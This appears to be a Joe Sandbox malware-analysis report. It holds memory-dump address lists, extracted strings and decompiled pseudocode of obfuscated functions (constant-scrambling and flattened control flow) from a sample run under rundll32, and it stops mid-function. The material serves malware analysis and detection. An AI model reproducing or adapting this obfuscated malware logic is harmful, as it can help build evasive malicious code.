0x6e9fb1f3
0x6e9fb1fa
0x6e9fb1fc
0x6e9fb1ff
0x6e9fb22f
0x6e9fb232
0x00000000
0x6e9fb201
0x6e9fb201
0x6e9fb201
0x6e9fb203
0x6e9fb236
0x6e9fb236
0x6e9fb238
0x6e9fb205
0x6e9fb205
0x6e9fb208
0x6e9fb209
0x6e9fb209
0x6e9fb245
0x6e9fb247
0x6e9fb24d
0x6e9fb263
0x6e9fb26b
0x6e9fb26e
0x6e9fb2a0
0x6e9fb2a0
0x6e9fb2a2
0x6e9fb1c0
0x6e9fb1c2
0x6e9fb1c4
0x6e9fb1c7
0x6e9fb1c9
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e9fb270
0x6e9fb270
0x6e9fb273
0x6e9fb276
0x00000000
0x6e9fb278
0x6e9fb278
0x6e9fb27b
0x6e9fb27e
0x00000000
0x6e9fb280
0x6e9fb280
0x6e9fb283
0x6e9fb286
0x00000000
0x6e9fb288
0x6e9fb288
0x6e9fb28b
0x6e9fb28e
0x00000000
0x6e9fb290
0x6e9fb293
0x6e9fb296
0x00000000
0x00000000
0x00000000
0x00000000
0x6e9fb296
0x6e9fb28e
0x6e9fb286
0x6e9fb27e
0x6e9fb276
0x6e9fb24f
0x6e9fb2a8
0x6e9fb2a8
0x6e9fb2ac
0x6e9fb2b0
0x6e9fb30f
0x6e9fb30f
0x6e9fb317
0x6e9fb31e
0x6e9fb321
0x6e9fb328
0x6e9fb32b
0x6e9fb332
0x6e9fb335
0x6e9fb339
0x6e9fb339
0x6e9fb24d
0x6e9fb1ff
0x6e9fb1ee
0x6e9fb1ea
0x6e9fb1d6
0x6e9fb1a9
0x6e9fb190
0x00000000
0x6e9fb183
0x6e9faef3
0x00000000
0x00000000
0x00000000
0x6e9fadc6
0x6e9fae08
0x6e9fadf7
0x00000000
0x6e9fade9
0x6e9fafab
0x6e9fafab
0x00000000
0x6e9fafab
0x6e9fad99
0x00000000
0x6e9fad8b
0x6e9fad7f
0x6e9fac02
0x6e9fac02
0x6e9fac04
0x6e9fac08
0x6e9fac0d
0x6e9fac0e
0x00000000
0x6e9fac0e
0x6e9fabfc
0x6e9fabf2
0x6e9fabdd
0x6e9fabd1
0x6e9faba9
0x6e9fb2bb
0x6e9fb2bb
0x6e9fb2bf
0x6e9fb2c8
0x6e9fb2c8
0x6e9faba7
0x6e9fab93
0x6e9faa80
0x6e9faa72
0x6e9faa63
0x6e9faa40
0x6e9faa40
0x6e9faa43
0x6e9faa5a
0x00000000
0x00000000
0x00000000
0x00000000
0x6e9faa45
0x6e9faa45
0x6e9faa49
0x00000000
0x6e9faa4b
0x6e9faa4b
0x6e9faa4b
0x6e9faa4e
0x6e9faa53
0x6e9faa54
0x00000000
0x6e9faa54
0x6e9faa49
0x6e9faa43
0x6e9faa3e
0x00000000
0x6e9fa7dc
0x6e9fa7e0
0x6e9fa7e4
0x6e9fa7e7
0x00000000
0x6e9fa7ef
0x6e9fa741
0x6e9fa72f
0x00000000

Strings

`fmt::Error`s should be impossible without a `fmt::Formatter`, xrefs: 6E9FB3C9
called `Result::unwrap()` on an `Err` value, xrefs: 6E9FBF8D
SizeLimitExhausted, xrefs: 6E9FC0D9
.assertion failed: !handle.is_null()C:dhidzhitbujbfqqncawhogkkniegcctcaffidkzeqdjseyaidkczyyqaglapgqobugufdomajsuqnpsbinwfvrqqdagbgthjkpsvdrffbyloxsjdadyxwklhzxnssljgptb, xrefs: 6E9FBB04, 6E9FBEC7
$, xrefs: 6E9FBA33
h, xrefs: 6E9FB6EB
$, xrefs: 6E9FBA23
@*&<>()C,, xrefs: 6E9FBE70, 6E9FBF32
__ZN, xrefs: 6E9FABD7
called `Option::unwrap()` on a `None` value, xrefs: 6E9FBF6E
.llvm.C:svwynxjwzbblyzyvbzvnadthqulrlxkuotzeuguljzqomqtcmfyjwyjxmyqztcdrlrqahaumjphvoxxzmknnzpgbuuldukigsulxy, xrefs: 6E9FA6ED

Memory Dump Source

Source File: 00000003.00000002.620854066.000000006E9F1000.00000020.00020000.sdmp, Offset: 6E9F0000, based on PE: true

Associated: 00000003.00000002.620850451.000000006E9F0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620870962.000000006EA1A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620898940.000000006EA4D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.620903588.000000006EA4F000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.620907578.000000006EA50000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9f0000_rundll32.jbxd

Similarity

API ID:
String ID: $$$$.assertion failed: !handle.is_null()C:dhidzhitbujbfqqncawhogkkniegcctcaffidkzeqdjseyaidkczyyqaglapgqobugufdomajsuqnpsbinwfvrqqdagbgthjkpsvdrffbyloxsjdadyxwklhzxnssljgptb$.llvm.C:svwynxjwzbblyzyvbzvnadthqulrlxkuotzeuguljzqomqtcmfyjwyjxmyqztcdrlrqahaumjphvoxxzmknnzpgbuuldukigsulxy$@*&<>()C,$SizeLimitExhausted$__ZN$`fmt::Error`s should be impossible without a `fmt::Formatter`$called `Option::unwrap()` on a `None` value$called `Result::unwrap()` on an `Err` value$h
API String ID: 0-2155986594
Opcode ID: cdee996249ab28fc6434dae5d767a471e37c5f9fabf2e45386cd9b06e785cab9
Instruction ID: b19e086eab398f1322a9a1e65d20d614ca8350d81d892f3c54a286055a568ad9
Opcode Fuzzy Hash: cdee996249ab28fc6434dae5d767a471e37c5f9fabf2e45386cd9b06e785cab9
Instruction Fuzzy Hash: 95E20571A18312DFD714CE98C49066AB7F2AFC5364F148A1DE4A58B399E770D887CF82

Uniqueness

Uniqueness Score: -1.00%

Function 029D4DC5, Relevance: 15.4, Strings: 12, Instructions: 423
COMMONCrypto

Download Yara Rule

C-Code - Quality: 91%

			E029D4DC5(void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				char _v256;
				char _v260;
				char _v264;
				intOrPtr _v268;
				intOrPtr _v272;
				char _v280;
				char _v284;
				char _v288;
				char _v292;
				char _v296;
				signed int _v300;
				signed int _v304;
				signed int _v308;
				signed int _v312;
				signed int _v316;
				signed int _v320;
				signed int _v324;
				signed int _v328;
				signed int _v332;
				signed int _v336;
				signed int _v340;
				signed int _v344;
				signed int _v348;
				signed int _v352;
				signed int _v356;
				signed int _v360;
				signed int _v364;
				signed int _v368;
				signed int _v372;
				signed int _v376;
				signed int _v380;
				signed int _v384;
				signed int _v388;
				signed int _v392;
				signed int _v396;
				signed int _v400;
				signed int _v404;
				signed int _v408;
				signed int _v412;
				unsigned int _v416;
				signed int _v420;
				signed int _v424;
				signed int _v428;
				signed int _v432;
				signed int _v436;
				signed int _v440;
				unsigned int _v444;
				signed int _v448;
				void* _t395;
				void* _t428;
				intOrPtr _t431;
				void* _t436;
				void* _t445;
				void* _t447;
				intOrPtr _t452;
				void* _t457;
				char _t459;
				void* _t462;
				intOrPtr _t465;
				intOrPtr _t468;
				void* _t476;
				intOrPtr _t500;
				void* _t511;
				signed int _t512;
				signed int _t513;
				signed int _t514;
				signed int _t515;
				signed int _t516;
				signed int _t517;
				signed int _t518;
				signed int _t519;
				signed int _t520;
				void* _t521;
				signed int* _t524;
				void* _t528;

				_push(_a20);
				_push(_a16);
				_push(_a12);
				_push(_a8);
				_push(_a4);
				_push(__edx);
				_push(__ecx);
				E029C8002(_t395);
				_v272 = 0x5a47d6;
				_v268 = 0xcdc82b;
				_t524 =  &(( &_v448)[7]);
				_v264 = 0;
				_v260 = 0;
				_t459 = 0;
				_v380 = 0x9af564;
				_t462 = 0x9b977d1;
				_v380 = _v380 | 0xf74b0d84;
				_v380 = _v380 ^ 0xf7dca480;
				_v344 = 0x540e9c;
				_v344 = _v344 << 0xa;
				_v344 = _v344 + 0xe1d3;
				_v344 = _v344 ^ 0x503abdcd;
				_v328 = 0xf12931;
				_v328 = _v328 ^ 0xa94b556c;
				_v328 = _v328 ^ 0xa9bd52be;
				_v312 = 0x15bd18;
				_v312 = _v312 + 0x6a68;
				_v312 = _v312 ^ 0x00142ff3;
				_v400 = 0xf8b297;
				_v400 = _v400 + 0x5900;
				_v400 = _v400 ^ 0x448368c2;
				_v400 = _v400 << 0xe;
				_v400 = _v400 ^ 0x98da3f37;
				_v408 = 0x455919;
				_v408 = _v408 ^ 0xe2f437fc;
				_v408 = _v408 + 0x7be8;
				_t512 = 7;
				_v408 = _v408 * 0x79;
				_v408 = _v408 ^ 0x2610f865;
				_v336 = 0xe9e066;
				_v336 = _v336 ^ 0x491e36a5;
				_v336 = _v336 + 0x9cb6;
				_v336 = _v336 ^ 0x49ffae15;
				_v404 = 0x424109;
				_v404 = _v404 ^ 0xd76d8019;
				_v404 = _v404 ^ 0x92772264;
				_v404 = _v404 + 0xb73f;
				_v404 = _v404 ^ 0x455d24f6;
				_v444 = 0x8359bf;
				_v444 = _v444 << 0xc;
				_v444 = _v444 ^ 0x2ccbcef6;
				_v444 = _v444 >> 0xa;
				_v444 = _v444 ^ 0x000364ce;
				_v348 = 0xc8c19d;
				_v348 = _v348 | 0xc8237a79;
				_v348 = _v348 + 0xffff77b1;
				_v348 = _v348 ^ 0xc8e5237e;
				_v324 = 0x586a31;
				_v324 = _v324 ^ 0x6ef7158d;
				_v324 = _v324 ^ 0x6ea50117;
				_v332 = 0x1aea29;
				_v332 = _v332 >> 4;
				_v332 = _v332 ^ 0x0007a663;
				_v320 = 0x2348f9;
				_v320 = _v320 / _t512;
				_v320 = _v320 ^ 0x0006b713;
				_v416 = 0xd6b60d;
				_v416 = _v416 >> 1;
				_t513 = 0x35;
				_v416 = _v416 / _t513;
				_v416 = _v416 >> 4;
				_v416 = _v416 ^ 0x000e647a;
				_v304 = 0x2421ff;
				_v304 = _v304 | 0xdd5513fd;
				_v304 = _v304 ^ 0xdd7f87c6;
				_v376 = 0x30f67f;
				_v376 = _v376 + 0xffff5f71;
				_t514 = 0x71;
				_v376 = _v376 * 0x5a;
				_v376 = _v376 ^ 0x10f37e1a;
				_v424 = 0x471699;
				_v424 = _v424 * 0x69;
				_v424 = _v424 + 0xffffda63;
				_v424 = _v424 << 1;
				_v424 = _v424 ^ 0x3a5a74b6;
				_v432 = 0x460bc5;
				_v432 = _v432 / _t514;
				_t515 = 0x21;
				_v432 = _v432 * 0x72;
				_v432 = _v432 ^ 0xdf4a5a43;
				_v432 = _v432 ^ 0xdf02b34f;
				_v440 = 0xb2e4bc;
				_v440 = _v440 >> 0xd;
				_v440 = _v440 | 0xfa76fd7d;
				_v440 = _v440 ^ 0xfa7dfc63;
				_v384 = 0x24910;
				_v384 = _v384 | 0xf5288b13;
				_v384 = _v384 + 0x6fdd;
				_v384 = _v384 ^ 0xf52d2ab6;
				_v300 = 0x92d249;
				_v300 = _v300 + 0xe9aa;
				_v300 = _v300 ^ 0x00915407;
				_v352 = 0x441970;
				_v352 = _v352 + 0x24ff;
				_v352 = _v352 + 0xffff9ab6;
				_v352 = _v352 ^ 0x004d5352;
				_v360 = 0xf364f3;
				_v360 = _v360 >> 7;
				_v360 = _v360 >> 0xa;
				_v360 = _v360 ^ 0x0004c95a;
				_v392 = 0x3b4b3b;
				_v392 = _v392 ^ 0xf339efed;
				_v392 = _v392 ^ 0x149fa142;
				_v392 = _v392 | 0x817fda2d;
				_v392 = _v392 ^ 0xe7fbdc79;
				_v368 = 0x7be028;
				_t191 =  &_v368; // 0x7be028
				_v368 =  *_t191 / _t515;
				_t197 =  &_v368; // 0x7be028
				_t516 = 0x7b;
				_v368 =  *_t197 * 0x61;
				_v368 = _v368 ^ 0x016ef7c8;
				_v412 = 0x7d1814;
				_v412 = _v412 / _t516;
				_v412 = _v412 << 0xa;
				_v412 = _v412 >> 5;
				_v412 = _v412 ^ 0x002b2dab;
				_v308 = 0xd80031;
				_v308 = _v308 << 0xf;
				_v308 = _v308 ^ 0x0010937b;
				_v372 = 0xcdc7ad;
				_v372 = _v372 << 2;
				_t517 = 0x4a;
				_v372 = _v372 / _t517;
				_v372 = _v372 ^ 0x000a2ad9;
				_v356 = 0xb552ba;
				_v356 = _v356 << 6;
				_v356 = _v356 + 0xffff22d1;
				_v356 = _v356 ^ 0x2d5b6008;
				_v316 = 0xd960cf;
				_v316 = _v316 >> 0xf;
				_v316 = _v316 ^ 0x000d4b20;
				_v396 = 0x463e61;
				_v396 = _v396 ^ 0xa3b97e26;
				_v396 = _v396 + 0xb044;
				_v396 = _v396 << 0xf;
				_v396 = _v396 ^ 0xf8451024;
				_v428 = 0x8fa30a;
				_v428 = _v428 | 0xec92375e;
				_t518 = 0x50;
				_v428 = _v428 * 0x78;
				_v428 = _v428 / _t518;
				_v428 = _v428 ^ 0x02e6bcde;
				_v340 = 0x7b21f4;
				_v340 = _v340 | 0x015d5af8;
				_v340 = _v340 ^ 0xbe35f651;
				_v340 = _v340 ^ 0xbf41a612;
				_v388 = 0x51cd38;
				_v388 = _v388 + 0x307c;
				_v388 = _v388 + 0xdc67;
				_v388 = _v388 ^ 0x005e821e;
				_v448 = 0x5176eb;
				_t280 =  &_v448; // 0x5176eb
				_t519 = 0x17;
				_v448 =  *_t280 / _t519;
				_t286 =  &_v448; // 0x5176eb
				_t520 = 0x5d;
				_v448 =  *_t286 * 0xb;
				_v448 = _v448 >> 0x10;
				_v448 = _v448 ^ 0x000e569b;
				_v364 = 0xe45033;
				_t293 =  &_v364; // 0xe45033
				_v364 =  *_t293 * 0x22;
				_t295 =  &_v364; // 0xe45033
				_v364 =  *_t295 * 0x22;
				_v364 = _v364 ^ 0x06f7650a;
				_v420 = 0xf59819;
				_v420 = _v420 + 0xffff9a2e;
				_v420 = _v420 * 0x3f;
				_v420 = _v420 >> 7;
				_v420 = _v420 ^ 0x0076e6cb;
				_v436 = 0x9d9870;
				_v436 = _v436 + 0xffff85b4;
				_v436 = _v436 ^ 0x73b46595;
				_t521 = _v380;
				_v436 = _v436 / _t520;
				_v436 = _v436 ^ 0x013d0554;
				while(1) {
					L1:
					do {
						while(1) {
							L2:
							_t528 = _t462 - 0x8b2ef1f;
							if(_t528 > 0) {
								break;
							}
							if(_t528 == 0) {
								_t468 =  *((intOrPtr*)( *0x29e5214 + 0x24));
								_t355 = _t468 + 0x30; // 0x29c53f0
								_t356 = _t468 + 0x28; // 0x13e85652
								_t361 =  *((intOrPtr*)( *0x29e5214 + 0x24)) + 0x50; // 0xf4456b00
								_t445 = E029C996C( &_v288, _v304, _t521, _v376,  &_v280,  *_t361 & 0x0000ffff, _v424,  &_v256, _v432,  *_t356 & 0x0000ffff, _t355);
								_t524 =  &(_t524[0xa]);
								if(_t445 == 0) {
									L21:
									_t462 = 0x40f5062;
									while(1) {
										L1:
										goto L2;
									}
								} else {
									_t462 = 0x20796c8;
									while(1) {
										L1:
										goto L2;
									}
								}
							} else {
								if(_t462 == 0x20796c8) {
									_t447 = E029D0A37(_v440, _v384, _v300, _a16,  &_v280);
									_t524 =  &(_t524[3]);
									if(_t447 == 0) {
										_t511 = 0xcbc2bff;
									} else {
										_t511 = 0xe01f896;
										_t459 = 1;
									}
									_t462 = 0xb55e81b;
									while(1) {
										L1:
										goto L2;
									}
								} else {
									if(_t462 == 0x40f5062) {
										E029CF699(_v412, _v296, _v308, _v372, _v356);
										E029CF699(_v316, _t521, _v396, _v428, _v340);
										E029CF699(_v388, _v288, _v448, _v364, _v420);
										_t524 =  &(_t524[9]);
										_t462 = _t511;
										L34:
										_t428 = 0x6ea9b1a;
										goto L35;
									} else {
										if(_t462 == 0x4ffd51f) {
											if(_v292 >= _v436) {
												_t452 = E029DD5FE( &_v296,  &_v288);
											} else {
												_t452 = E029E1C71( &_v296);
											}
											_t521 = _t452;
											_t428 = 0x6ea9b1a;
											_t462 =  !=  ? 0x6ea9b1a : 0x40f5062;
											continue;
										} else {
											if(_t462 != _t428) {
												goto L35;
											} else {
												_push(_t462);
												_push(1);
												_push(_t462);
												_push(_t462);
												_t476 = 0x40;
												_t457 = E029D2CCF(_t476);
												_push( &_v256);
												_push(_v320);
												_push(_t457);
												_push(0xb);
												E029D8601(_v324, _v332);
												_t524 =  &(_t524[8]);
												_t462 = 0x8b2ef1f;
												while(1) {
													L1:
													goto L2;
												}
											}
										}
									}
								}
							}
							L38:
							return _t459;
						}
						if(_t462 == 0x9b977d1) {
							_t521 = 0;
							E029C3965(_v380, _v344,  &_v256, _v328, 0x100, _v312);
							_t524 =  &(_t524[4]);
							_v288 = 0;
							_v284 = 0;
							_t462 = 0xd5ae00f;
							_v296 = 0;
							_v292 = 0;
							goto L34;
						} else {
							if(_t462 == 0xb55e81b) {
								E029CF699(_v352, _v280, _v360, _v392, _v368);
								_t524 =  &(_t524[3]);
								goto L21;
							} else {
								if(_t462 == 0xcbc2bff) {
									_t465 =  *0x29e5214;
									_t372 =  *((intOrPtr*)(_t465 + 0x24)) + 0x1c; // 0x1075ff56
									_t431 =  *_t372;
									 *((intOrPtr*)(_t465 + 0x34)) =  *((intOrPtr*)(_t465 + 0x34)) + 1;
									_t500 =  *((intOrPtr*)(_t465 + 0x34));
									 *((intOrPtr*)(_t465 + 0x24)) = _t431;
									if(_t431 == 0) {
										 *((intOrPtr*)(_t465 + 0x24)) =  *((intOrPtr*)(_t465 + 0x14));
									}
									if(_t500 >=  *((intOrPtr*)( *0x29e5214 + 0x10))) {
										 *((intOrPtr*)( *0x29e5214 + 0x34)) = 0;
									} else {
										_t462 = 0x9b977d1;
										goto L1;
									}
								} else {
									if(_t462 != 0xd5ae00f) {
										goto L35;
									} else {
										_t436 = E029DB0BA(_v400, _a12, _v408,  &_v296, _a4);
										_t524 =  &(_t524[3]);
										if(_t436 != 0) {
											_t462 = 0x4ffd51f;
											while(1) {
												L1:
												goto L2;
											}
										}
									}
								}
							}
						}
						goto L38;
						L35:
					} while (_t462 != 0xe01f896);
					goto L38;
				}
			}

0x029d4dcf
0x029d4dd6
0x029d4ddd
0x029d4de4
0x029d4deb
0x029d4df2
0x029d4df3
0x029d4df4
0x029d4df9
0x029d4e06
0x029d4e11
0x029d4e14
0x029d4e1d
0x029d4e24
0x029d4e26
0x029d4e2e
0x029d4e33
0x029d4e3b
0x029d4e43
0x029d4e4b
0x029d4e50
0x029d4e58
0x029d4e60
0x029d4e6b
0x029d4e76
0x029d4e81
0x029d4e8c
0x029d4e97
0x029d4ea2
0x029d4eaa
0x029d4eb2
0x029d4eba
0x029d4ebf
0x029d4ec7
0x029d4ecf
0x029d4ed7
0x029d4ee6
0x029d4ee9
0x029d4eed
0x029d4ef5
0x029d4f00
0x029d4f0b
0x029d4f16
0x029d4f21
0x029d4f29
0x029d4f31
0x029d4f39
0x029d4f41
0x029d4f49
0x029d4f51
0x029d4f56
0x029d4f5e
0x029d4f63
0x029d4f6b
0x029d4f73
0x029d4f7b
0x029d4f83
0x029d4f8b
0x029d4f96
0x029d4fa1
0x029d4fac
0x029d4fb7
0x029d4fbf
0x029d4fca
0x029d4fde
0x029d4fe5
0x029d4ff0
0x029d4ff8
0x029d5002
0x029d5007
0x029d500d
0x029d5012
0x029d501a
0x029d5025
0x029d5030
0x029d503b
0x029d5043
0x029d5050
0x029d5053
0x029d5057
0x029d505f
0x029d506c
0x029d5070
0x029d5078
0x029d507c
0x029d5084
0x029d5094
0x029d509d
0x029d50a0
0x029d50a4
0x029d50ac
0x029d50b4
0x029d50bc
0x029d50c1
0x029d50c9
0x029d50d1
0x029d50d9
0x029d50e1
0x029d50e9
0x029d50f1
0x029d50fc
0x029d5107
0x029d5112
0x029d511a
0x029d5122
0x029d512a
0x029d5132
0x029d513a
0x029d513f
0x029d5144
0x029d514c
0x029d5154
0x029d515c
0x029d5164
0x029d516c
0x029d5174
0x029d517c
0x029d5184
0x029d5188
0x029d518d
0x029d518e
0x029d5192
0x029d519a
0x029d51a8
0x029d51ac
0x029d51b1
0x029d51b6
0x029d51be
0x029d51c9
0x029d51d1
0x029d51dc
0x029d51e4
0x029d51f1
0x029d51f6
0x029d51fc
0x029d5204
0x029d520c
0x029d5211
0x029d5219
0x029d5221
0x029d522c
0x029d5234
0x029d523f
0x029d5247
0x029d524f
0x029d5257
0x029d525c
0x029d5264
0x029d526c
0x029d5279
0x029d5280
0x029d528c
0x029d5290
0x029d5298
0x029d52a3
0x029d52ae
0x029d52b9
0x029d52c4
0x029d52cc
0x029d52d4
0x029d52dc
0x029d52e4
0x029d52ec
0x029d52f0
0x029d52f5
0x029d52fb
0x029d5300
0x029d5301
0x029d5305
0x029d530a
0x029d5312
0x029d531a
0x029d531f
0x029d5323
0x029d5328
0x029d532c
0x029d5334
0x029d533c
0x029d5349
0x029d534d
0x029d5352
0x029d535a
0x029d5362
0x029d536a
0x029d5378
0x029d537c
0x029d5380
0x029d5388
0x029d5388
0x029d538d
0x029d538d
0x029d538d
0x029d538d
0x029d5393
0x00000000
0x00000000
0x029d5399
0x029d550a
0x029d550d
0x029d5511
0x029d552e
0x029d554b
0x029d5550
0x029d5555
0x029d5566
0x029d5566
0x029d5388
0x029d5388
0x00000000
0x029d5388
0x029d5557
0x029d5557
0x029d5388
0x029d5388
0x00000000
0x029d5388
0x029d5388
0x029d539f
0x029d53a5
0x029d54d9
0x029d54de
0x029d54e3
0x029d54ef
0x029d54e5
0x029d54e7
0x029d54ec
0x029d54ec
0x029d54f4
0x029d5388
0x029d5388
0x00000000
0x029d5388
0x029d53ab
0x029d53b1
0x029d5470
0x029d548d
0x029d54ac
0x029d54b1
0x029d54b4
0x029d5680
0x029d5680
0x00000000
0x029d53b7
0x029d53bd
0x029d542b
0x029d543b
0x029d542d
0x029d542d
0x029d542d
0x029d5440
0x029d5449
0x029d544e
0x00000000
0x029d53bf
0x029d53c1
0x00000000
0x029d53c7
0x029d53da
0x029d53db
0x029d53dd
0x029d53de
0x029d53e1
0x029d53e2
0x029d53ee
0x029d53ef
0x029d5404
0x029d5405
0x029d5407
0x029d540c
0x029d540f
0x029d5388
0x029d5388
0x00000000
0x029d5388
0x029d5388
0x029d53c1
0x029d53bd
0x029d53b1
0x029d53a5
0x029d569f
0x029d56a8
0x029d56a8
0x029d5576
0x029d563d
0x029d5657
0x029d565c
0x029d565f
0x029d5666
0x029d566d
0x029d5672
0x029d5679
0x00000000
0x029d557c
0x029d5582
0x029d5622
0x029d5627
0x00000000
0x029d5588
0x029d558e
0x029d55d4
0x029d55dd
0x029d55dd
0x029d55e0
0x029d55e3
0x029d55e6
0x029d55eb
0x029d55f0
0x029d55f0
0x029d55fb
0x029d5699
0x029d5601
0x029d5601
0x00000000
0x029d5601
0x029d5590
0x029d5596
0x00000000
0x029d559c
0x029d55ba
0x029d55bf
0x029d55c4
0x029d55ca
0x029d5388
0x029d5388
0x00000000
0x029d5388
0x029d5388
0x029d55c4
0x029d5596
0x029d558e
0x029d5582
0x00000000
0x029d5685
0x029d5685
0x00000000
0x029d5691

Strings

AB, xrefs: 029D4F21
vQ, xrefs: 029D52EC
({, xrefs: 029D517C
1jX, xrefs: 029D4F8B
RSM, xrefs: 029D512A
;K;, xrefs: 029D514C
f, xrefs: 029D4EF5
1, xrefs: 029D51BE
|0, xrefs: 029D52CC
a>F, xrefs: 029D523F
{, xrefs: 029D4ED7
K, xrefs: 029D5234

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID: AB$ K$({$1$1jX$;K;$RSM$a>F$f$|0$vQ${
API String ID: 0-3105251626
Opcode ID: 1e3e84fd2c165445a20aeefbe6191c9ef18dc3bebce80dfb049d6b712fa37a63
Instruction ID: 6adc000b30a220198f24febce0063720c73d80b779d6d41c9333c81b5f0190d2
Opcode Fuzzy Hash: 1e3e84fd2c165445a20aeefbe6191c9ef18dc3bebce80dfb049d6b712fa37a63
Instruction Fuzzy Hash: 4C2242B1509380DFD368CF25C589A9FBBE1FBC4708F50890DE69A8A260D7B19949DF43

Uniqueness

Uniqueness Score: -1.00%

Function 029E0C66, Relevance: 14.3, Strings: 11, Instructions: 552
COMMONCrypto

Download Yara Rule

C-Code - Quality: 85%

			E029E0C66(intOrPtr __ecx, void* __edx, intOrPtr _a4, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				char _v4;
				char _v8;
				intOrPtr _v12;
				char _v16;
				char _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				signed int _v120;
				signed int _v124;
				unsigned int _v128;
				signed int _v132;
				signed int _v136;
				signed int _v140;
				signed int _v144;
				signed int _v148;
				signed int _v152;
				unsigned int _v156;
				signed int _v160;
				signed int _v164;
				signed int _v168;
				signed int _v172;
				signed int _v176;
				signed int _v180;
				signed int _v184;
				signed int _v188;
				signed int _v192;
				signed int _v196;
				signed int _v200;
				signed int _v204;
				intOrPtr _v208;
				signed int _v212;
				signed int _v216;
				signed int _v220;
				signed int _v224;
				signed int _v228;
				signed int _v232;
				signed int _v236;
				signed int _v240;
				signed int _v244;
				signed int _v248;
				signed int _v252;
				signed int _v256;
				signed int _v260;
				signed int _v264;
				signed int _v268;
				signed int _v272;
				void* _t569;
				void* _t616;
				void* _t620;
				intOrPtr _t623;
				void* _t628;
				void* _t631;
				void* _t639;
				void* _t643;
				intOrPtr _t649;
				void* _t668;
				void* _t706;
				signed int _t721;
				void* _t722;
				signed int _t724;
				signed int _t725;
				signed int _t726;
				signed int _t727;
				signed int _t728;
				signed int _t729;
				signed int _t730;
				signed int _t731;
				signed int _t732;
				signed int _t733;
				signed int _t734;
				signed int _t735;
				void* _t736;
				void* _t739;
				signed int* _t741;
				void* _t744;

				_t649 = __ecx;
				_push(_a20);
				_v208 = __ecx;
				_push(_a16);
				_push(_a12);
				_push(0x20);
				_push(_a4);
				_push(__edx);
				_push(__ecx);
				E029C8002(_t569);
				_v252 = 0xb850c4;
				_t741 =  &(( &_v272)[7]);
				_v252 = _v252 + 0xffff1b87;
				_t739 = 0;
				_t643 = 0x31427ed;
				_t724 = 0x38;
				_v252 = _v252 / _t724;
				_v252 = _v252 | 0x7484239e;
				_v252 = _v252 ^ 0x7487679f;
				_v228 = 0x671610;
				_v228 = _v228 << 9;
				_v228 = _v228 + 0xffffbdb7;
				_t721 = 0x48;
				_v228 = _v228 / _t721;
				_v228 = _v228 ^ 0x02dd0dbe;
				_v248 = 0x6d45a8;
				_v248 = _v248 ^ 0xcdaaf4a8;
				_v248 = _v248 | 0x2aa6e37d;
				_v248 = _v248 >> 0xc;
				_v248 = _v248 ^ 0x000efe7f;
				_v56 = 0x1d0414;
				_v56 = _v56 ^ 0xe63e9f7a;
				_v56 = _v56 ^ 0xe6239b6e;
				_v196 = 0xdbff9;
				_v196 = _v196 + 0xffffdf67;
				_v196 = _v196 >> 9;
				_v196 = _v196 ^ 0x000006cf;
				_v88 = 0xee2915;
				_t725 = 0x5a;
				_v88 = _v88 / _t725;
				_v88 = _v88 ^ 0x0002a56f;
				_v256 = 0x30f311;
				_t726 = 0x7d;
				_v256 = _v256 * 0x6c;
				_v256 = _v256 / _t726;
				_v256 = _v256 + 0xffff130d;
				_v256 = _v256 ^ 0x00295de4;
				_v268 = 0xd74e11;
				_v268 = _v268 >> 0xb;
				_v268 = _v268 + 0x536c;
				_v268 = _v268 + 0xffff4a38;
				_v268 = _v268 ^ 0xffffb88d;
				_v128 = 0x78165c;
				_v128 = _v128 ^ 0x119f2f8b;
				_v128 = _v128 >> 5;
				_v128 = _v128 ^ 0x008f39ce;
				_v260 = 0x46e0dd;
				_v260 = _v260 * 0x14;
				_v260 = _v260 << 4;
				_v260 = _v260 * 0x3f;
				_v260 = _v260 ^ 0xcdabfbc0;
				_v144 = 0x6701dd;
				_v144 = _v144 ^ 0x9279afad;
				_v144 = _v144 + 0xffff89d5;
				_v144 = _v144 ^ 0x921e3845;
				_v108 = 0x3d44ad;
				_v108 = _v108 >> 1;
				_v108 = _v108 >> 6;
				_v108 = _v108 ^ 0x00007a89;
				_v92 = 0x45ba2c;
				_t727 = 0x62;
				_v92 = _v92 * 0x4a;
				_v92 = _v92 ^ 0x1427283f;
				_v52 = 0x343fab;
				_v52 = _v52 + 0x68e6;
				_v52 = _v52 ^ 0x003405e0;
				_v176 = 0xaf3889;
				_v176 = _v176 ^ 0xc23279d7;
				_v176 = _v176 * 0x1b;
				_v176 = _v176 ^ 0x869c530f;
				_v28 = 0xf4b427;
				_v28 = _v28 | 0x483a8d57;
				_v28 = _v28 ^ 0x48fe78d2;
				_v112 = 0x10db4e;
				_v112 = _v112 ^ 0xf1aff679;
				_v112 = _v112 << 0xa;
				_v112 = _v112 ^ 0xfcbe5c75;
				_v76 = 0x14b737;
				_v76 = _v76 + 0x7c5f;
				_v76 = _v76 ^ 0x0013f1cb;
				_v44 = 0x7484d8;
				_v44 = _v44 * 9;
				_v44 = _v44 ^ 0x04160bfd;
				_v84 = 0x9b7484;
				_v84 = _v84 | 0x5f4a7202;
				_v84 = _v84 ^ 0x5fdf5c37;
				_v168 = 0xda0fbd;
				_v168 = _v168 / _t721;
				_v168 = _v168 * 0x1b;
				_v168 = _v168 ^ 0x0053367e;
				_v68 = 0x2fa43a;
				_v68 = _v68 ^ 0x0df30566;
